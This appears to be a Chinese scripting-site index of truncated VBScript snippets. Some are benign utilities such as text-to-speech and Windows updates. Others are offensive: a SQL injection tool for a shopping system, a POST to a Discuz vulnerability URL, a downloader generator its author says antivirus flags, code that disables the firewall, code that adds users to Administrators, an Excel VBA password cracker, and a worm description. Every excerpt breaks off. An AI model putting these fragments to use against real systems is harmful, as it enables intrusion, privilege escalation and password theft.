'CodebyTr4c3@126.comOnErrorResumeNextDimstrUrl,strRightSetobjArgs=WScript.ArgumentsIfobjArgs.Count<>1ThenWScript.Echo"网趣购物系统XPV3.2版注入工具ByTr4c3[at]126[dot]CoM"WS...

[阅读全文]

这东西研究上月了，断断续续的，期间遇到N多困难，头疼到我差点疯掉,边学习边完成的，本来打算用批处理来做，发现想用批处理获取进程模块全路径简直难于登天，之后就决定用VBS来做...个人请求:这贴算是我研究WMI脚本的一个代表作吧...希望本贴能被评为精华贴，置于显眼之处，以便能让更多的人学习学习、参考参考...Tips:...

[阅读全文]

<%Server.ScriptTimeout=50000setobjlocator=server.createobject("wbemscripting.swbemlocator")setobjswbemservices=objlocator.connectserver("10.0.0.92","root/cimv2"...

[阅读全文]

onerrorresumenextDimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPathConstMY_COMPUTER=&H11&ConstWINDOW_HANDLE=0ConstOPTIONS=0Seto...

[阅读全文]

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝'codebylcx修改网上原有的一个小程序，不知作者，那个程序没有对目录实现递归查找'将本程序放在你要查找的目录下，或把查找的目录拖到此脚本上，估计还有bug'===OnErrorResumenextDoUntilFalseFin...

[阅读全文]

将下面这句代码保存为一个VBS文件，然后在要用时，直接就E文的文本文件拖到VBS脚本文件上就工作了。CreateObject("SAPI.SpVoice").SpeakCreateObject("Scripting.FileSystemObject").OpenTextFile(WScript.Arguments(0)...

[阅读全文]

'1、输入url目标网页地址，返回值getHTTPPage是目标网页的html代码functiongetHTTPPage(url)dimHttpsetHttp=CreateObject("MSXML2.XMLHTTP")Http.open"GET",url,falseHttp.send()ifHttp.readysta...

[阅读全文]

1。关于VBS如何成功调用MSWinsock.Winsock。zzzevazzz说的很清楚了。就是下载Winsock.ocs注册，和VB6控件的授权密钥的.reg导入注册表。两个文件可以这里下载2.有关WinSock控件引用的基本方法和事件：LocalHostName//取得本地主机名LocalIP//取得本地主机IP...

[阅读全文]

dexecfunctiondexec()IfWscript.Arguments.Count>0ThenoverWrite=Wscript.Arguments(0)elseWScript.Echo"Usage:cscript"&wscript.scriptname&"1|2(overwrite)urlsa...

[阅读全文]

sethttp=createobject("Microsoft.XMLHTTP")http.open"POST","http://www.discuz.net:80/wish.php",false'漏洞的url地址http.setrequestheader"Content-Type","application/x-ww...

[阅读全文]

SetObjService=GetObject("IIS://LocalHost/W3SVC")ForEachobj3wInobjserviceIfIsNumeric(obj3w.Name)ThensServerName=Obj3w.ServerCommentSetwebSite=GetObject("IIS://Lo...

[阅读全文]

该工具会被有的杀毒软件列为病毒,放心用好了,无害.IfWscript.Arguments.Count=0ThenusageWScript.quitEndIfdama="onerrorresumenext"&vbcrlf&"dl="&chr(34)&Wscript.Arguments(1)...

[阅读全文]

<scriptlanguage=vbs>subsqlencode()DimstrTeststrTest=form1.text1.valuemyHex=Str2Hex(strTest)document.write"<pre>DECLARE@SNVARCHAR(4000)SET@S=CAST(0x"&myhex&a...

[阅读全文]

如果是域用户登陆工作站,netgroup"domainadmins"/domain,在命令行下应当可以看到的。vbs的话，应当可以更详尽列出它的adspathsetobj=GetObject("LDAP://rootDSE")wscript.echoobj.servername

[阅读全文]

SetObjFSO=CreateObject("Scripting.FileSystemObject")Setwshshell=Wscript.CreateObject("Wscript.Shell")osdir=Wshshell.ExpandEnvironmentStrings("%systemroot%")strM...

[阅读全文]

functionlistsvr()setobjlocator=createobject("wbemscripting.swbemlocator")setobjswbemservices=objlocator.connectserver("localhost","root/cimv2")'括号里加用户名和密码,把loca...

[阅读全文]

'/*='*IntroQQ自动登陆生成器多用户版，支持参数生成'参数使用方法：QQAutoLoginCreates.vbs"QQ路径,安装版QQ可以删除当前引号内的内容""QQ1""QQ1的密码""QQ2""QQ2的密码"'*FileNameQQAutoLoginCreates.vbs'*Authoryongfa365...

[阅读全文]

SetobjFirewall=CreateObject("HNetCfg.FwMgr")SetobjPolicy=objFirewall.LocalPolicy.CurrentProfileobjPolicy.FirewallEnabled=FALSESetobjFirewall=CreateObject("HNetC...

[阅读全文]

SetobjSession=CreateObject("Microsoft.Update.Session")SetobjSearcher=objSession.CreateUpdateSearcherSetobjResults=objSearcher.Search("Type='Software'")SetcolUpd...

[阅读全文]

DIMcheckboxSetmoWindow=WScript.CreateObject("InternetExplorer.Application","IE_")moWindow.Navigate2"about:blank"WithmoWindow.Document.ParentWindow.Document.Writ...

[阅读全文]

SetobjHTML=CreateObject("htmlfile")ClipboardText=objHTML.ParentWindow.ClipboardData.GetData("text")MsgBoxClipboardText

[阅读全文]

首先生成当前服务的备份VBS，然后再进行服务的优化....dimObjFso,WshStrComputer="."ConstForwriteing=8TemporaryFolder=2WindowsFolder=0DT=date()HTT="QQ:53077777"TheFile="Service-"&DT&a...

[阅读全文]

前不久看到一个朋友用bat写的163登录器，现在我来玩一个vbs的：'dimname,passSetWshell=WScript.CreateObject("WScript.Shell")name=Inputbox("请输入你的用户名:","用户名")pass=Inputbox("请输入你的密码:","密码")cons...

[阅读全文]

在很多地方我都说过，ExcelVBA的工程密码是很脆弱的，其实吧里很早就有一篇这样的贴子，我也将其整理为加载宏不过还是有很多朋友在问：）。现将主程序的源代码也整理于此。'1>一段极好的VBA保护密码破解程序测试WIN98+OFFICE97破解率100%'2>用以下代码对VBA加密保护后用offkey6.5-7.0及Ad...

[阅读全文]

num=array("5","6","7","8")fuhao=array("+","-","*","/")dimallforz=0to3forx=0to3forc=0to3forv=0to3ifz<>xandz<>candz<>vthenifx<>candx<>vthenifc<>vthenmnum(z),num(x...

[阅读全文]

用过DOS的人一定知道DOS的命令有一个特征：当我们不知道这个命令用来干什么的或者不知道它的具体用法，可以在这个命令后加上/?，这样就可以查询到这个命令的用法了。当然这要求程序是这样设计的，有些不标准的DOS程序是不支持/?查询用法的。用过的人对于参数的作用自然是不言而喻，这里不再罗嗦，总之如果有一个语言无法获得命令行...

[阅读全文]

将域用户或组添加到本地组SetobjGroup=GetObject("WinNT://./Administrators")SetobjUser=GetObject("WinNT://testnet/Engineers")objGroup.Add(objUser.ADsPath)修改本地管理员密码Setobjcnlar=...

[阅读全文]

OptionExplicit'&Eacute;ù&Atilde;÷SAPI&para;&Ocirc;&Iuml;óDimWithEventsVoiceAsSpVoice'&Agrave;&Ecirc;&para;&...

[阅读全文]

白宫”病毒VBS_WhiteHo@MM介绍(瑞星编译)病毒名称：VBS_WhiteHo@MM大小：1,590字节别名：I-Worm.Whitehome(AVP),VBS.Whitehome(CA),VBS.Whitehome.A@mm(NAV),VBS_WHITEHOME.A(Trend),WSH/Whit...

[阅读全文]

W8200="960211013861141150101130116434790162969013115014117218595112118015923370014116113528596117296779765668011012951159973950159991119382384931199211111401401...

[阅读全文]